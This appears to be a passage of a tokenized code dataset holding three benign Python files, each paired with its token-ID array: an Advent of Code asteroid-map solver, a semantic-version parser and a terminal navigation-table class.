log.debug(f'mapped {len(position_map)} angles')
position_map = dict(sorted(position_map.items(), key=lambda item: item[0]))
for angle, distance in position_map.items():
distance = dict(sorted(distance.items(), key=lambda item: item[0]))
position_map[angle] = distance
for deg in range(0, 360, 90):
log.debug(f'at {deg=} {len(position_map[deg])}')
return position_map
def vaporize(station: tuple, asteroids: set[tuple], quantity: int) -> tuple:
"""Vaporize a number of asteroids and return position of the last one
:param station: vaporization station position in Cartesian coordinates
:param asteroids: list of asteroids in absolute Cartesian coordinates
:param quantity: number of asteroid to vaporize
:return: position of the last vaporized asteroid
"""
polar_map = map_polar_pos(reference=station, asteroids=asteroids)
scan_angle = next(iter(polar_map.keys()))
asteroid = (0, 0)
for _ in range(quantity):
log.debug(f'{scan_angle=}')
asteroids_by_distance = polar_map[scan_angle]
scan_index = list(polar_map.keys()).index(scan_angle)
next_scan_index = (1 + scan_index) % len(polar_map)
next_scan_angle = list(polar_map.keys())[next_scan_index]
closest_distance = next(iter(asteroids_by_distance.keys()))
asteroid = asteroids_by_distance.pop(closest_distance)
log.debug(f'{1 + _} asteroid to be vaporized is at {asteroid}')
angle_cleared = not len(asteroids_by_distance)
if angle_cleared:
polar_map.pop(scan_angle)
scan_angle = next_scan_angle
return asteroid
# Solver Methods ---------------------------------------------------------------
def solve(contents: set) -> int:
"""Solve puzzle part one
:param contents: puzzle input contents
:return: puzzle answer
"""
detected_asteroids_map = map_detected_asteroids(asteroids=contents)
answer = max(detected_asteroids_map.values())
return answer
def solve_part_two(contents: map) -> int:
"""Solve puzzle part two
:param contents: puzzle input contents
:return: puzzle answer
"""
detected_asteroids_map = map_detected_asteroids(asteroids=contents)
max_asteroids = max(detected_asteroids_map.values())
index = list(detected_asteroids_map.values()).index(max_asteroids)
station = list(detected_asteroids_map.keys())[index]
log.info(f'located {station=}')
asteroids = contents - {station}
x, y = vaporize(station=station, asteroids=asteroids, quantity=200)
answer = x * 100 + y
return answer
# Support Methods --------------------------------------------------------------
EXIT_SUCCESS = 0
LOG_FORMAT = '# %(msecs)-3d - %(funcName)-16s - %(levelname)-8s - %(message)s'
def configure_logger(verbose: bool):
"""Configure logging
:param verbose: display debug and info messages
:return: nothing
"""
logger = logging.getLogger()
logger.handlers = []
stdout = logging.StreamHandler(sys.stdout)
stdout.setLevel(level=logging.WARNING)
stdout.setFormatter(logging.Formatter(LOG_FORMAT))
logger.addHandler(stdout)
if verbose:
stdout.setLevel(level=logging.DEBUG)
logger.setLevel(level=logging.DEBUG)
def parse_arguments() -> argparse.Namespace:
"""Parse arguments provided by the command-line
:return: list of decoded arguments
"""
parser = argparse.ArgumentParser(description=__doc__)
pa = parser.add_argument
pa('filename', type=str, help='input contents filename')
pa('-p', '--part', type=int, help='solve only the given part')
pa('-v', '--verbose', action='store_true', help='print extra messages')
arguments = parser.parse_args()
return arguments
def main() -> int:
"""Script main method
:return: script exit code returned to the shell
"""
args = parse_arguments()
configure_logger(verbose=args.verbose)
log.debug(f'Arguments: {args}')
compute_part_one = not args.part or 1 == args.part
compute_part_two = not args.part or 2 == args.part
if compute_part_one:
for map_ in load_contents(filename=args.filename):
answer = solve(contents=map_)
print(f'part one: answer: {answer}')
if compute_part_two:
for map_ in load_contents(filename=args.filename):
answer = solve_part_two(contents=map_)
print(f'part two: answer: {answer}')
return EXIT_SUCCESS
if __name__ == "__main__":
sys.exit(main())
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
13,
15945,
29908,
3253,
794,
310,
5920,
7835,
4056,
349,
18813,
793,
13,
13,
29906,
29900,
29896,
29929,
17138,
448,
8373,
29871,
29896,
29900,
13,
29925,
18813,
280,
24380,
297,
5132,
13,
15945,
29908,
13,
13,
5215,
1852,
5510,
13,
5215,
274,
755,
13,
5215,
12183,
13,
5215,
2897,
13,
5215,
10876,
13,
13,
3166,
19229,
1053,
20504,
1061,
13,
13,
1188,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
13,
13,
29937,
13103,
8108,
29879,
448,
2683,
2683,
2683,
9072,
489,
13,
13,
13,
1753,
2254,
29918,
10853,
29898,
9507,
29901,
851,
29897,
1599,
20504,
1061,
29961,
842,
5387,
13,
1678,
9995,
5896,
322,
3588,
8118,
515,
934,
13,
13,
1678,
584,
3207,
10422,
29901,
1881,
10422,
13,
1678,
584,
2457,
29901,
20380,
7709,
292,
11053,
310,
7223,
639,
10350,
13,
1678,
9995,
13,
1678,
3454,
353,
1722,
29898,
9507,
467,
949,
2141,
17010,
2141,
5451,
29898,
359,
29889,
1915,
968,
29886,
29897,
13,
1678,
11909,
353,
731,
580,
13,
1678,
343,
353,
29871,
29900,
13,
1678,
363,
1196,
297,
3454,
29901,
13,
4706,
565,
451,
7431,
29898,
1220,
1125,
13,
9651,
1480,
29889,
8382,
29898,
29888,
29915,
29912,
9507,
29922,
1118,
2910,
310,
426,
2435,
29898,
1066,
2187,
2915,
4452,
1495,
13,
9651,
7709,
11909,
13,
9651,
11909,
353,
731,
580,
13,
9651,
343,
353,
29871,
29900,
13,
9651,
6773,
13,
4706,
11909,
29889,
5504,
3319,
29898,
29916,
29892,
343,
29897,
363,
921,
29892,
274,
297,
26985,
29898,
1220,
29897,
565,
274,
1275,
16321,
29915,
1800,
13,
4706,
343,
4619,
29871,
29896,
13,
1678,
1480,
29889,
8382,
29898,
29888,
29915,
29912,
9507,
29922,
1118,
2910,
310,
426,
2435,
29898,
1066,
2187,
2915,
4452,
1495,
13,
1678,
7709,
11909,
13,
13,
13,
1753,
10272,
29918,
2696,
7224,
29898,
5679,
29901,
18761,
29961,
524,
29892,
938,
1402,
13,
462,
1678,
20058,
4841,
29901,
731,
29961,
23583,
29961,
524,
29892,
938,
24960,
1599,
731,
29961,
23583,
5387,
13,
1678,
9995,
20606,
292,
1283,
7224,
288,
20058,
4841,
411,
4880,
304,
263,
2183,
3407,
13,
13,
1678,
584,
3207,
3407,
29901,
3407,
10350,
13,
1678,
584,
3207,
20058,
4841,
29901,
1051,
310,
20058,
4841,
13,
1678,
584,
2457,
29901,
1051,
310,
20058,
4841,
411,
9210,
10350,
13,
1678,
9995,
13,
1678,
1283,
7224,
353,
731,
580,
13,
1678,
363,
20058,
333,
297,
20058,
4841,
29901,
13,
4706,
260,
353,
18761,
29898,
29874,
448,
289,
363,
263,
29892,
289,
297,
14319,
29898,
5679,
29892,
20058,
333,
876,
13,
4706,
1283,
7224,
29889,
1202,
29898,
29873,
29897,
13,
1678,
736,
1283,
7224,
13,
13,
13,
1753,
2910,
29918,
4801,
26458,
29918,
1901,
3398,
29879,
29898,
1901,
3398,
29879,
29901,
731,
29897,
1599,
2910,
29901,
13,
1678,
9995,
20606,
29872,
1353,
310,
17809,
20058,
4841,
515,
1269,
20058,
333,
2602,
13,
13,
1678,
584,
3207,
20058,
4841,
29901,
1051,
310,
20058,
4841,
13,
1678,
584,
2457,
29901,
2910,
310,
17809,
20058,
4841,
639,
4423,
13,
1678,
9995,
13,
1678,
17809,
29918,
1901,
3398,
29879,
29918,
1958,
353,
9657,
580,
13,
1678,
363,
20058,
333,
297,
20058,
4841,
29901,
13,
4706,
4045,
353,
20058,
4841,
448,
426,
1901,
3398,
29913,
13,
4706,
16755,
29918,
1066,
2187,
353,
10272,
29918,
1066,
2187,
29898,
5679,
29922,
1901,
3398,
29892,
13,
462,
462,
9651,
20058,
4841,
29922,
720,
414,
29897,
13,
4706,
23619,
353,
731,
29898,
2521,
363,
5418,
29892,
10696,
297,
16755,
29918,
1066,
2187,
29897,
13,
4706,
17809,
29918,
1901,
3398,
29879,
29918,
1958,
29961,
1901,
3398,
29962,
353,
7431,
29898,
19536,
29897,
13,
1678,
736,
17809,
29918,
1901,
3398,
29879,
29918,
1958,
13,
13,
13,
1753,
10272,
29918,
1066,
2187,
29898,
5679,
29901,
18761,
29892,
20058,
4841,
29901,
731,
29961,
23583,
2314,
1599,
731,
29901,
13,
1678,
9995,
20606,
29872,
16755,
11909,
6198,
304,
263,
3407,
13,
13,
1678,
584,
3207,
3407,
29901,
3407,
2602,
297,
12370,
18970,
10350,
13,
1678,
584,
3207,
20058,
4841,
29901,
1051,
310,
20058,
4841,
297,
8380,
12370,
18970,
10350,
13,
1678,
584,
2457,
29901,
1051,
310,
20058,
4841,
297,
6198,
16755,
10350,
13,
1678,
9995,
13,
1678,
11909,
353,
731,
580,
13,
1678,
4974,
3407,
451,
297,
20058,
4841,
13,
1678,
1104,
29918,
1066,
2187,
353,
10272,
29918,
2696,
7224,
29898,
5679,
29922,
5679,
29892,
20058,
4841,
29922,
1901,
3398,
29879,
29897,
13,
1678,
363,
926,
297,
1104,
29918,
1066,
2187,
29901,
13,
4706,
5418,
29892,
10696,
353,
274,
755,
29889,
3733,
279,
29898,
19676,
10456,
1066,
876,
13,
4706,
11909,
29889,
1202,
3552,
19244,
29892,
10696,
876,
13,
1678,
736,
11909,
13,
13,
13,
1753,
2910,
29918,
3733,
279,
29918,
1066,
29898,
5679,
29901,
18761,
29892,
20058,
4841,
29901,
731,
29961,
23583,
2314,
1599,
9657,
29961,
7411,
29892,
9657,
5387,
13,
1678,
9995,
3388,
263,
1051,
310,
16755,
11909,
491,
10696,
322,
5418,
13,
13,
1678,
584,
3207,
3407,
29901,
3407,
2602,
297,
12370,
18970,
10350,
13,
1678,
584,
3207,
20058,
4841,
29901,
1051,
310,
20058,
4841,
297,
8380,
12370,
18970,
10350,
13,
1678,
584,
2457,
29901,
639,
29899,
2521,
2910,
310,
639,
29899,
19244,
20058,
4841,
13,
1678,
9995,
13,
1678,
2602,
29918,
1958,
353,
9657,
580,
13,
1678,
363,
20058,
333,
297,
20058,
4841,
29901,
13,
4706,
6198,
29918,
29916,
353,
20058,
333,
29961,
29900,
29962,
448,
3407,
29961,
29900,
29962,
13,
4706,
6198,
29918,
29891,
353,
20058,
333,
29961,
29896,
29962,
448,
3407,
29961,
29896,
29962,
13,
4706,
27615,
29918,
1066,
353,
8521,
22925,
29918,
29891,
29892,
6198,
29918,
29916,
29897,
13,
4706,
5418,
29892,
10696,
353,
274,
755,
29889,
3733,
279,
29898,
19676,
10456,
9067,
287,
29918,
1066,
876,
13,
4706,
565,
10696,
529,
29871,
29900,
29901,
13,
9651,
10696,
4619,
29871,
29906,
334,
274,
755,
29889,
1631,
13,
4706,
10696,
334,
29922,
29871,
29896,
29947,
29900,
29889,
29900,
847,
274,
755,
29889,
1631,
13,
4706,
565,
10696,
451,
297,
2602,
29918,
1958,
29901,
13,
9651,
2602,
29918,
1958,
29961,
2521,
29962,
353,
426,
19244,
29901,
20058,
333,
29913,
13,
4706,
1683,
29901,
13,
9651,
2602,
29918,
1958,
29961,
2521,
1822,
5504,
3319,
19244,
29901,
20058,
333,
1800,
13,
1678,
1480,
29889,
8382,
29898,
29888,
29915,
655,
2986,
426,
2435,
29898,
3283,
29918,
1958,
2915,
23619,
1495,
13,
1678,
2602,
29918,
1958,
353,
9657,
29898,
24582,
29898,
3283,
29918,
1958,
29889,
7076,
3285,
1820,
29922,
2892,
2944,
29901,
2944,
29961,
29900,
12622,
13,
1678,
363,
10696,
29892,
5418,
297,
2602,
29918,
1958,
29889,
7076,
7295,
13,
4706,
5418,
353,
9657,
29898,
24582,
29898,
19244,
29889,
7076,
3285,
1820,
29922,
2892,
2944,
29901,
2944,
29961,
29900,
12622,
13,
4706,
2602,
29918,
1958,
29961,
2521,
29962,
353,
5418,
13,
1678,
363,
3587,
297,
3464,
29898,
29900,
29892,
29871,
29941,
29953,
29900,
29892,
29871,
29929,
29900,
1125,
13,
4706,
1480,
29889,
8382,
29898,
29888,
29915,
271,
426,
12163,
29922,
29913,
426,
2435,
29898,
3283,
29918,
1958,
29961,
12163,
2314,
29913,
1495,
13,
1678,
736,
2602,
29918,
1958,
13,
13,
13,
1753,
325,
26191,
675,
29898,
19569,
29901,
18761,
29892,
20058,
4841,
29901,
731,
29961,
23583,
1402,
14728,
29901,
938,
29897,
1599,
18761,
29901,
13,
1678,
9995,
29963,
26191,
675,
263,
1353,
310,
20058,
4841,
322,
736,
2602,
310,
278,
1833,
697,
13,
13,
1678,
584,
3207,
5073,
29901,
325,
26191,
2133,
5073,
2602,
297,
12370,
18970,
10350,
13,
1678,
584,
3207,
20058,
4841,
29901,
1051,
310,
20058,
4841,
297,
8380,
12370,
18970,
10350,
13,
1678,
584,
3207,
14728,
29901,
1353,
310,
20058,
333,
304,
325,
26191,
675,
13,
1678,
584,
2457,
29901,
2602,
310,
278,
1833,
325,
26191,
1891,
20058,
333,
13,
1678,
9995,
13,
1678,
16755,
29918,
1958,
353,
2910,
29918,
3733,
279,
29918,
1066,
29898,
5679,
29922,
19569,
29892,
20058,
4841,
29922,
1901,
3398,
29879,
29897,
13,
1678,
12812,
29918,
2521,
353,
2446,
29898,
1524,
29898,
3733,
279,
29918,
1958,
29889,
8149,
22130,
13,
1678,
20058,
333,
353,
313,
29900,
29892,
29871,
29900,
29897,
13,
1678,
363,
903,
297,
3464,
29898,
22640,
1125,
13,
4706,
1480,
29889,
8382,
29898,
29888,
29915,
29912,
16192,
29918,
2521,
29922,
29913,
1495,
13,
4706,
20058,
4841,
29918,
1609,
29918,
19244,
353,
16755,
29918,
1958,
29961,
16192,
29918,
2521,
29962,
13,
4706,
12812,
29918,
2248,
353,
1051,
29898,
3733,
279,
29918,
1958,
29889,
8149,
16655,
2248,
29898,
16192,
29918,
2521,
29897,
13,
4706,
2446,
29918,
16192,
29918,
2248,
353,
313,
29896,
718,
12812,
29918,
2248,
29897,
1273,
7431,
29898,
3733,
279,
29918,
1958,
29897,
13,
4706,
2446,
29918,
16192,
29918,
2521,
353,
1051,
29898,
3733,
279,
29918,
1958,
29889,
8149,
3101,
29961,
4622,
29918,
16192,
29918,
2248,
29962,
13,
4706,
21438,
29918,
19244,
353,
2446,
29898,
1524,
29898,
1901,
3398,
29879,
29918,
1609,
29918,
19244,
29889,
8149,
22130,
13,
4706,
20058,
333,
353,
20058,
4841,
29918,
1609,
29918,
19244,
29889,
7323,
29898,
11291,
342,
29918,
19244,
29897,
13,
4706,
1480,
29889,
8382,
29898,
29888,
29915,
29912,
29896,
718,
903,
29913,
20058,
333,
304,
367,
325,
26191,
1891,
338,
472,
426,
1901,
3398,
29913,
1495,
13,
4706,
10696,
29918,
2841,
1965,
353,
451,
7431,
29898,
1901,
3398,
29879,
29918,
1609,
29918,
19244,
29897,
13,
4706,
565,
10696,
29918,
2841,
1965,
29901,
13,
9651,
16755,
29918,
1958,
29889,
7323,
29898,
16192,
29918,
2521,
29897,
13,
4706,
12812,
29918,
2521,
353,
2446,
29918,
16192,
29918,
2521,
13,
1678,
736,
20058,
333,
13,
13,
13,
29937,
4956,
369,
8108,
29879,
448,
2683,
2683,
2683,
9072,
489,
13,
13,
13,
1753,
4505,
29898,
10853,
29901,
731,
29897,
1599,
938,
29901,
13,
1678,
9995,
13296,
345,
20285,
280,
760,
697,
13,
13,
1678,
584,
3207,
8118,
29901,
20285,
280,
1881,
8118,
13,
1678,
584,
2457,
29901,
20285,
280,
1234,
13,
1678,
9995,
13,
1678,
17809,
29918,
1901,
3398,
29879,
29918,
1958,
353,
2910,
29918,
4801,
26458,
29918,
1901,
3398,
29879,
29898,
1901,
3398,
29879,
29922,
10853,
29897,
13,
1678,
1234,
353,
4236,
29898,
4801,
26458,
29918,
1901,
3398,
29879,
29918,
1958,
29889,
5975,
3101,
13,
1678,
736,
1234,
13,
13,
13,
1753,
4505,
29918,
1595,
29918,
10184,
29898,
10853,
29901,
2910,
29897,
1599,
938,
29901,
13,
1678,
9995,
13296,
345,
20285,
280,
760,
1023,
13,
13,
1678,
584,
3207,
8118,
29901,
20285,
280,
1881,
8118,
13,
1678,
584,
2457,
29901,
20285,
280,
1234,
13,
1678,
9995,
13,
1678,
17809,
29918,
1901,
3398,
29879,
29918,
1958,
353,
2910,
29918,
4801,
26458,
29918,
1901,
3398,
29879,
29898,
1901,
3398,
29879,
29922,
10853,
29897,
13,
1678,
4236,
29918,
1901,
3398,
29879,
353,
4236,
29898,
4801,
26458,
29918,
1901,
3398,
29879,
29918,
1958,
29889,
5975,
3101,
13,
1678,
2380,
353,
1051,
29898,
4801,
26458,
29918,
1901,
3398,
29879,
29918,
1958,
29889,
5975,
16655,
2248,
29898,
3317,
29918,
1901,
3398,
29879,
29897,
13,
1678,
5073,
353,
1051,
29898,
4801,
26458,
29918,
1901,
3398,
29879,
29918,
1958,
29889,
8149,
3101,
29961,
2248,
29962,
13,
1678,
1480,
29889,
3888,
29898,
29888,
29915,
28809,
426,
19569,
29922,
29913,
1495,
13,
1678,
20058,
4841,
353,
8118,
448,
426,
19569,
29913,
13,
1678,
921,
29892,
343,
353,
325,
26191,
675,
29898,
19569,
29922,
19569,
29892,
20058,
4841,
29922,
1901,
3398,
29879,
29892,
14728,
29922,
29906,
29900,
29900,
29897,
13,
1678,
1234,
353,
921,
334,
29871,
29896,
29900,
29900,
718,
343,
13,
1678,
736,
1234,
13,
13,
29937,
18601,
8108,
29879,
448,
2683,
2683,
2683,
9072,
29899,
13,
13,
13,
5746,
1806,
29918,
14605,
26925,
353,
29871,
29900,
13,
14480,
29918,
19094,
1299,
353,
16321,
1273,
29898,
29885,
344,
2395,
6817,
29941,
29881,
448,
1273,
29898,
9891,
1170,
6817,
29896,
29953,
29879,
448,
1273,
29898,
5563,
978,
6817,
29947,
29879,
448,
1273,
29898,
4906,
29897,
29879,
29915,
13,
13,
13,
1753,
10822,
29918,
21707,
29898,
369,
15828,
29901,
6120,
1125,
13,
1678,
9995,
3991,
545,
12183,
13,
13,
1678,
584,
3207,
26952,
29901,
2479,
4744,
322,
5235,
7191,
13,
1678,
584,
2457,
29901,
3078,
13,
1678,
9995,
13,
1678,
17927,
353,
12183,
29889,
657,
16363,
580,
13,
1678,
17927,
29889,
3179,
9306,
353,
5159,
13,
1678,
27591,
353,
12183,
29889,
3835,
4598,
29898,
9675,
29889,
25393,
29897,
13,
1678,
27591,
29889,
842,
10108,
29898,
5563,
29922,
21027,
29889,
29956,
25614,
29897,
13,
1678,
27591,
29889,
842,
18522,
29898,
21027,
29889,
18522,
29898,
14480,
29918,
19094,
1299,
876,
13,
1678,
17927,
29889,
1202,
4598,
29898,
25393,
29897,
13,
1678,
565,
26952,
29901,
13,
4706,
27591,
29889,
842,
10108,
29898,
5563,
29922,
21027,
29889,
18525,
29897,
13,
4706,
17927,
29889,
842,
10108,
29898,
5563,
29922,
21027,
29889,
18525,
29897,
13,
13,
13,
1753,
6088,
29918,
25699,
580,
1599,
1852,
5510,
29889,
23335,
29901,
13,
1678,
9995,
12914,
6273,
4944,
491,
278,
1899,
29899,
1220,
13,
13,
1678,
584,
2457,
29901,
1051,
310,
1602,
6797,
6273,
13,
1678,
9995,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
29922,
1649,
1514,
1649,
29897,
13,
1678,
3300,
353,
13812,
29889,
1202,
29918,
23516,
13,
1678,
3300,
877,
9507,
742,
1134,
29922,
710,
29892,
1371,
2433,
2080,
8118,
10422,
1495,
13,
1678,
3300,
877,
29899,
29886,
742,
525,
489,
1595,
742,
1134,
29922,
524,
29892,
1371,
2433,
2929,
345,
871,
278,
2183,
760,
1495,
13,
1678,
3300,
877,
29899,
29894,
742,
525,
489,
369,
15828,
742,
3158,
2433,
8899,
29918,
3009,
742,
1371,
2433,
2158,
4805,
7191,
1495,
13,
1678,
6273,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
1678,
736,
6273,
13,
13,
13,
1753,
1667,
580,
1599,
938,
29901,
13,
1678,
9995,
4081,
1667,
1158,
13,
13,
1678,
584,
2457,
29901,
2471,
6876,
775,
4133,
304,
278,
6473,
13,
1678,
9995,
13,
1678,
6389,
353,
6088,
29918,
25699,
580,
13,
1678,
10822,
29918,
21707,
29898,
369,
15828,
29922,
5085,
29889,
369,
15828,
29897,
13,
1678,
1480,
29889,
8382,
29898,
29888,
29915,
26915,
29901,
426,
5085,
29913,
1495,
13,
1678,
10272,
29918,
1595,
29918,
650,
353,
451,
6389,
29889,
1595,
470,
29871,
29896,
1275,
6389,
29889,
1595,
13,
1678,
10272,
29918,
1595,
29918,
10184,
353,
451,
6389,
29889,
1595,
470,
29871,
29906,
1275,
6389,
29889,
1595,
13,
1678,
565,
10272,
29918,
1595,
29918,
650,
29901,
13,
4706,
363,
2910,
29918,
297,
2254,
29918,
10853,
29898,
9507,
29922,
5085,
29889,
9507,
1125,
13,
9651,
1234,
353,
4505,
29898,
10853,
29922,
1958,
19925,
13,
9651,
1596,
29898,
29888,
29915,
1595,
697,
29901,
1234,
29901,
426,
12011,
29913,
1495,
13,
1678,
565,
10272,
29918,
1595,
29918,
10184,
29901,
13,
4706,
363,
2910,
29918,
297,
2254,
29918,
10853,
29898,
9507,
29922,
5085,
29889,
9507,
1125,
13,
9651,
1234,
353,
4505,
29918,
1595,
29918,
10184,
29898,
10853,
29922,
1958,
19925,
13,
9651,
1596,
29898,
29888,
29915,
1595,
1023,
29901,
1234,
29901,
426,
12011,
29913,
1495,
13,
1678,
736,
8528,
1806,
29918,
14605,
26925,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
10876,
29889,
13322,
29898,
3396,
3101,
13,
2
] |
scripts/version.py | danabens/sagemaker-experiments | 88 | 193274 | import re
# a subset of PEP 440
_VERSION_REGEX = re.compile(
r"""
^\s*
v?
(?P<major>\d+)
(?:\.(?P<minor>\d+))?
(?:\.(?P<patch>\d+))?
\s*$
""",
re.VERBOSE | re.IGNORECASE,
)
class Version:
"""
Represents a major.minor.patch version string
"""
def __init__(self, major, minor=0, patch=0):
self.major = major
self.minor = minor
self.patch = patch
self.tag = f"v{str(self)}"
def __str__(self):
parts = [str(x) for x in [self.major, self.minor, self.patch]]
return ".".join(parts).lower()
def increment(self, increment_type):
incr = None
if increment_type == "major":
incr = Version(self.major + 1)
elif increment_type == "minor":
incr = Version(self.major, self.minor + 1)
elif increment_type == "patch":
incr = Version(self.major, self.minor, self.patch + 1)
return incr
def parse(version):
match = _VERSION_REGEX.search(version)
if not match:
raise ValueError(f"invalid version: {version}")
return Version(
int(match.group("major") or 0),
int(match.group("minor") or 0),
int(match.group("patch") or 0),
)
def next_version_from_current_version(current_version, increment_type):
return parse(current_version).increment(increment_type)
| [
1,
1053,
337,
13,
13,
13,
29937,
263,
11306,
310,
349,
15488,
29871,
29946,
29946,
29900,
13,
29918,
16358,
29918,
1525,
1692,
29990,
353,
337,
29889,
12198,
29898,
13,
1678,
364,
15945,
29908,
13,
268,
3823,
29879,
29930,
13,
1678,
325,
29973,
13,
1678,
22308,
29925,
29966,
21355,
14247,
29881,
28135,
13,
1678,
22308,
3583,
29889,
10780,
29925,
29966,
1195,
272,
14247,
29881,
29974,
876,
29973,
13,
1678,
22308,
3583,
29889,
10780,
29925,
29966,
5041,
14247,
29881,
29974,
876,
29973,
13,
1678,
320,
29879,
29394,
13,
15945,
613,
13,
1678,
337,
29889,
5348,
8456,
1660,
891,
337,
29889,
6259,
6632,
1525,
23487,
29892,
13,
29897,
13,
13,
13,
1990,
10079,
29901,
13,
1678,
9995,
13,
1678,
830,
4569,
1237,
263,
4655,
29889,
1195,
272,
29889,
5041,
1873,
1347,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4655,
29892,
9461,
29922,
29900,
29892,
13261,
29922,
29900,
1125,
13,
4706,
1583,
29889,
21355,
353,
4655,
13,
4706,
1583,
29889,
1195,
272,
353,
9461,
13,
4706,
1583,
29889,
5041,
353,
13261,
13,
13,
4706,
1583,
29889,
4039,
353,
285,
29908,
29894,
29912,
710,
29898,
1311,
2915,
29908,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
5633,
353,
518,
710,
29898,
29916,
29897,
363,
921,
297,
518,
1311,
29889,
21355,
29892,
1583,
29889,
1195,
272,
29892,
1583,
29889,
5041,
5262,
13,
13,
4706,
736,
376,
1213,
29889,
7122,
29898,
20895,
467,
13609,
580,
13,
13,
1678,
822,
11924,
29898,
1311,
29892,
11924,
29918,
1853,
1125,
13,
4706,
5528,
29878,
353,
6213,
13,
4706,
565,
11924,
29918,
1853,
1275,
376,
21355,
1115,
13,
9651,
5528,
29878,
353,
10079,
29898,
1311,
29889,
21355,
718,
29871,
29896,
29897,
13,
4706,
25342,
11924,
29918,
1853,
1275,
376,
1195,
272,
1115,
13,
9651,
5528,
29878,
353,
10079,
29898,
1311,
29889,
21355,
29892,
1583,
29889,
1195,
272,
718,
29871,
29896,
29897,
13,
4706,
25342,
11924,
29918,
1853,
1275,
376,
5041,
1115,
13,
9651,
5528,
29878,
353,
10079,
29898,
1311,
29889,
21355,
29892,
1583,
29889,
1195,
272,
29892,
1583,
29889,
5041,
718,
29871,
29896,
29897,
13,
13,
4706,
736,
5528,
29878,
13,
13,
13,
1753,
6088,
29898,
3259,
1125,
13,
1678,
1993,
353,
903,
16358,
29918,
1525,
1692,
29990,
29889,
4478,
29898,
3259,
29897,
13,
1678,
565,
451,
1993,
29901,
13,
4706,
12020,
7865,
2392,
29898,
29888,
29908,
20965,
1873,
29901,
426,
3259,
27195,
13,
13,
1678,
736,
10079,
29898,
13,
4706,
938,
29898,
4352,
29889,
2972,
703,
21355,
1159,
470,
29871,
29900,
511,
13,
4706,
938,
29898,
4352,
29889,
2972,
703,
1195,
272,
1159,
470,
29871,
29900,
511,
13,
4706,
938,
29898,
4352,
29889,
2972,
703,
5041,
1159,
470,
29871,
29900,
511,
13,
1678,
1723,
13,
13,
13,
1753,
2446,
29918,
3259,
29918,
3166,
29918,
3784,
29918,
3259,
29898,
3784,
29918,
3259,
29892,
11924,
29918,
1853,
1125,
13,
1678,
736,
6088,
29898,
3784,
29918,
3259,
467,
25629,
29898,
25629,
29918,
1853,
29897,
13,
2
] |
pysimpleframe/interface/display/tables/NavigationTable.py | OriDevTeam/PySimpleFrame | 0 | 32500 | <reponame>OriDevTeam/PySimpleFrame
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Name: TOFILL\n
Description: TOFILL
"""
"""PySimpleFrame
Author: <NAME>
License: Check LICENSE file
"""
## System imports ##
## Library imports ##
import termtables
from colorama import Fore, Back, Style
## Application imports ##
from pysimpleframe.interface.display import Display
class NavigationTable:
def __init__(self, header, data, amount, width=60):
## Reference header list
self.Header = header
## Reference data list
self.Data = data
## Insert the selected label text at header beginning
self.Header.insert(0, "X")
## The width of the table (default 60)
self.width = width
## The amount to show in the table
self.showAmount = amount
## The page to show in the table
self.page = 1
## The selected table item index
self.selectedIndex = 1
## The current displaying table
self.table = None
def __del__(self):
pass
def ShowTable(self):
## Reference the data count
dataCount = len(self.Data)
## Check if there is any data to show
if dataCount < 1:
Display.Print("There isn't any data to show")
return
## Calculate the page amount
pageCount = max(dataCount / self.showAmount, 1)
idx = 0 ## Initial index
startIdx = self.showAmount * self.page ## Starting index
startIdx = startIdx if startIdx < dataCount else 0 ## Starting index
endIdx = startIdx + self.showAmount ## Ending index
endIdx = endIdx if dataCount > endIdx else dataCount ## Ending index
localSelectedIndex = ((self.selectedIndex - 1) % self.showAmount) + 1
## Create the data table item list
dataTableItemList = []
for i in range(int(startIdx), int(endIdx)):
## Reference the data item by index
dataItem = self.Data[i]
## Create the data item list
dataItemList = []
## Increase the local index
idx += 1
## Append the index selection status
dataItemList.append("x" if idx == localSelectedIndex else "")
## Append the data items for the selection and fill the data list
for item in dataItem:
dataItemList.append(item)
dataTableItemList.append(dataItemList)
## Generate the data table by list
self.table = table = termtables.to_string(
dataTableItemList,
header = self.Header,
style = termtables.styles.ascii_thin_double,
)
## Print the accounts data table
Display.Print(table)
## Show the table details
self.ShowNavigationLabel(self.page, self.selectedIndex)
def ShowNavigationLabel(self, page, selectedIndex):
## Display the status of the table navigation
if page <= 1:
Display.Print('{:^94s}'.format("Page %u/%u : Selected %u/%u | %u >>" %
(page, self.__GetPageCount(),
selectedIndex, self.__GetItemCount(), page + 1)))
elif page >= self.__GetPageCount():
Display.Print('{:^94s}'.format("<< %u | Page %u/%u : Selected %u/%u" %
(page - 1, page, self.__GetPageCount(),
selectedIndex, self.__GetItemCount())))
else:
Display.Print('{:^94s}'.format("<< %u | Page %u/%u : Selected %u/%u | %u >>" %
(page - 1, page, self.__GetPageCount(),
selectedIndex, self.__GetItemCount(), page + 1)))
## Make a space to divide
Display.Print("")
def __GetItemCount(self):
## Return the data item count
return len(self.Data)
def __GetPageCount(self):
## Calculate the page amount
pageAmount = max(self.__GetItemCount() / self.showAmount, 1)
## Return the page amount
return pageAmount
def __GetSelectedSessionIndex():
return self.page * self.showAmount + self.selectedIndex
def ChangeSelected(self, amount):
## Check if the data item amount is greater than the data item count
if self.selectedIndex + amount > self.__GetItemCount():
self.selectedIndex = self.__GetItemCount()
## Check if the session amount is less than 0
elif self.selectedIndex + amount < 1:
self.selectedIndex = 1
## Change the session index
else:
self.selectedIndex += amount
## Recalculate the page index
if self.selectedIndex > self.showAmount:
self.page = int((self.selectedIndex - 1) / self.showAmount) + 1
else:
self.page = 1
def ChangePage(self, amount):
## Check if the page amount is greater than the page count
if self.page + amount > self.__GetPageCount():
self.page = self.__GetPageCount()
## Check if the page amount if less than 0
elif self.page + amount < 1:
self.page = 1
## Change the page count
else:
self.page += amount
## Reset the selected index to default
self.selectedIndex = (self.page - 1) * self.showAmount + 1
| [
1,
529,
276,
1112,
420,
29958,
15988,
16618,
19409,
29914,
19737,
15427,
4308,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
15945,
